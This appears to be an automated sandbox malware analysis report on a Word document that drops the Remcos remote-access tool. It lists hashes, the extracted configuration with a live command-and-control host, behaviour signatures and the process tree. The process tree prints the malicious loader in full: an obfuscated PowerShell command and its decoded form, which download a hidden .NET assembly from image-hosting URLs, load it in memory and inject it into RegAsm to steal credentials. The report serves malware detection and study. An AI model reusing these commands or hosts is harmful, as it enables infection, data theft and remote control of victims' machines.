Analysis

  • max time kernel
    148s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-03-2024 13:09

General

  • Target

    25032024_2108_25032024_06836722_218 Aluplast.docx

  • Size

    407KB

  • MD5

    85b21eac5630ccb75418fbe56e48f98f

  • SHA1

    fd614c1c4cf1d32d38c3d9275b22d0ded67e02f8

  • SHA256

    a27c5de3b48b3de6f4aac09e1a73c5a4bf47be527f86d83636f0a47eadb12f1f

  • SHA512

    9c70c59908cf79549137476dba8361c39d5045f713195f1a0b288c9e0ae03b3f75a651ab731b655e51de687ea481bc9fe848db303c2b3d9d0b3432929b15251b

  • SSDEEP

    12288:wNlBLJuOt2+7GxmPZqTTATgkIhEtTB2gP:AlBLNt2gs/1Ej1P

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

gregolia.duckdns.org:2445

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-LAJDD7

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 10 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Abuses OpenXML format to download file from external location
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\25032024_2108_25032024_06836722_218 Aluplast.docx"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2336
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2004
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\loverkissedeachothers.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2228
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreEUDgTreRDgTreBEDgTreFMDgTreLwDgTrewDgTreDDgTreDgTreOQDgTrewDgTreDkDgTreLwDgTre4DgTreDkDgTreLgDgTre4DgTreDgDgTreMQDgTreuDgTreDgDgTreMwDgTreuDgTreDQDgTreNQDgTrexDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBTDgTreFMDgTreVwDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2616
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.EDDS/00909/89.881.83.451//:ptth' , '1' , 'C:\ProgramData\' , 'SSW','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Adds Run key to start application
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2528
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\SSW.vbs
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2024
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2120
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\xjbrgoldhqphwuhiualejaqkb"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2908
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\hdgbhgvxvyhmyjdmdlxfmnlbclkq"
                6⤵
                • Accesses Microsoft Outlook accounts
                PID:1912
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\sgluaqgyrgzrjprquvkzxrfkkacrxop"
                6⤵
                  PID:1540
                • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                  C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\sgluaqgyrgzrjprquvkzxrfkkacrxop"
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1988

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

        Filesize

        67KB

        MD5

        753df6889fd7410a2e9fe333da83a429

        SHA1

        3c425f16e8267186061dd48ac1c77c122962456e

        SHA256

        b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

        SHA512

        9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

        Filesize

        344B

        MD5

        c38feaf0eb63fbd647dd47692a95a8c2

        SHA1

        4e5e3a97fdfeefb0e4c42118f43c3be7b86c2103

        SHA256

        ff1b45a09abdf85d920b7060aa43f4f375d621128c942d6d456b5cf2b2e0acb4

        SHA512

        935017a759e5f6ac2be01ee8ff6da8cd4dc95002e40845ebf42acd75a4040efec1884005858e1c0feba7c9162927d7e7df721b2bbd59bf3610587431ea4a4657

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

        Filesize

        344B

        MD5

        c74861ca0c77621fd5c41dbca8fd477e

        SHA1

        4761d12b6c02c638ce464e569edd32330469290b

        SHA256

        6c43e93b97068f0a6998da1edf0cb0988d6e9c2e0e8ddb4681cba5614a48e695

        SHA512

        c606878d9545e4a38635f60263b6bf1e0d366b301f05f93fa15e1307bd491cada20cda3133d73088a925b9b31265cee14d3ced86281c8e0b8c72309d5a757492

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

        Filesize

        128KB

        MD5

        fd390e946927778adaca6a722b7e0814

        SHA1

        931ea32e27f39124aab2358b3129742713ceb83f

        SHA256

        21a81fb6b4aada79464607164d3e32211f0a9d3d4722ceedee261e2b1148832e

        SHA512

        82a79f6c1abd03a8f4ab8d04799d5b92a16a1972a3771605889d891283ef964be6cc6749c0f9d24e02ecde05eadb6393e4a3cc04136ba42ed1d5c84ba7dca2f9

      • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{FA7462EE-E4A8-4B3F-801E-EEFCCC6981B0}.FSD

        Filesize

        128KB

        MD5

        ad154063499ac3fc53a497f51039aef7

        SHA1

        8d65f596ca3f1872d6b59a73193e518375b56f26

        SHA256

        becfc8a8bfc869ed100d7838c56e2791bb3930e6b4be4a828f1b4a314e1176e3

        SHA512

        b418f4596c9aae44ea2ee4d231cc8fd1b5eacfaca789f60513323445c7af30dd64ea85c80e27bdcd25b156f481745ab8302a37bfe50cff1427bccdb02f4108bb

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VIF0OH2A\createdloverstogetbackgreatthingstoknowthekissingthingstohappenedtounderstandthetwothingstounderstand_____youaremysweetheartlover[1].doc

        Filesize

        77KB

        MD5

        cde3695e8c23e9e09db22243c899a215

        SHA1

        82598dfe560b70c5f2c6441bc4c13a58309ce0e8

        SHA256

        3c5444b736af60ee4f23f9f411c0c6c7a266647e0b127500f1e320e4946fb2c9

        SHA512

        30ade51f2792be8be9a5bc3c37b76333fea66f7f480f5b0e0dd63a2578bc4c80f77aa2c9d536d665d2cf2311910794c0e8dc5af6bc16688d43676ef6507abb5e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\230DEF3B.emf

        Filesize

        1.4MB

        MD5

        bdb651a93e94a128e9fc7fb1b71ef63f

        SHA1

        aff0794615a836dec0b72d8f6947a4178d02f52d

        SHA256

        4b18541f2c8d6344b62dec12138458e1649fea21c672cfda37b27afe056b9caa

        SHA512

        ff3bfd7ecf0c4662f6749f1a51894130db5d0406d5870711a481463d64ed5f89ae8f81972c6838922e69f70ae2c4cabe0b59341c7edb84f4c1d48d9fef130a85

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B1C9A800.emf

        Filesize

        3KB

        MD5

        4a103fc1809c8ea381d2acb5380ef4f6

        SHA1

        6c81d37798c4d78c64e7d3ef7eb2acb317c9ff67

        SHA256

        1ab8f5abd845ffd0c61a61bb09bfcf20569b80b4496bccb58c623753cf40485c

        SHA512

        77da8ab022505d77f89749e97628caf4dd8414251cb673598acba8f7d30d1889037fab30094a6ce7dc47293697a6bef28b92364d00129b59d2fc3711c82650f5

      • C:\Users\Admin\AppData\Local\Temp\Cab29A3.tmp

        Filesize

        65KB

        MD5

        ac05d27423a85adc1622c714f2cb6184

        SHA1

        b0fe2b1abddb97837ea0195be70ab2ff14d43198

        SHA256

        c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

        SHA512

        6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

      • C:\Users\Admin\AppData\Local\Temp\Tar2BEB.tmp

        Filesize

        175KB

        MD5

        dd73cead4b93366cf3465c8cd32e2796

        SHA1

        74546226dfe9ceb8184651e920d1dbfb432b314e

        SHA256

        a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

        SHA512

        ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

      • C:\Users\Admin\AppData\Local\Temp\xjbrgoldhqphwuhiualejaqkb

        Filesize

        2B

        MD5

        f3b25701fe362ec84616a93a45ce9998

        SHA1

        d62636d8caec13f04e28442a0a6fa1afeb024bbb

        SHA256

        b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

        SHA512

        98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

      • C:\Users\Admin\AppData\Local\Temp\{042B92CA-C91A-464B-94A2-36B13B0F5552}

        Filesize

        128KB

        MD5

        f4169137441c2da979061b76ff5e827b

        SHA1

        6b5c0dcad28a8f512657c409f0a282f043601645

        SHA256

        5d23534fafefe827ebdea492b66a3083e262310b28343f4998540b628d5fc30d

        SHA512

        8f60c93b803d66201cac488036ce96ccf5bc811bbd7263ce154738796f2296bf94cc68c66b07a57c93a32e2dc29d77e51487c8cff742eabac989758afaa0f0dc

      • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

        Filesize

        20KB

        MD5

        e55d8a6e16658220176ff3754163d983

        SHA1

        1696cc676570557ce2c1a81c2d37ffe8286a7fed

        SHA256

        74cf3b4116ae3b3d4bfce301f5de0d15c4b6fb2e69435000560bc0149f15ed62

        SHA512

        91d7eb750f090b5e1192b366d41380932bb847dc3237ec1a1ca35b3fe182d2c379a71c704c9c420314eeba7d4943ae4a401f3bf8724d33bb41141716d609419b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

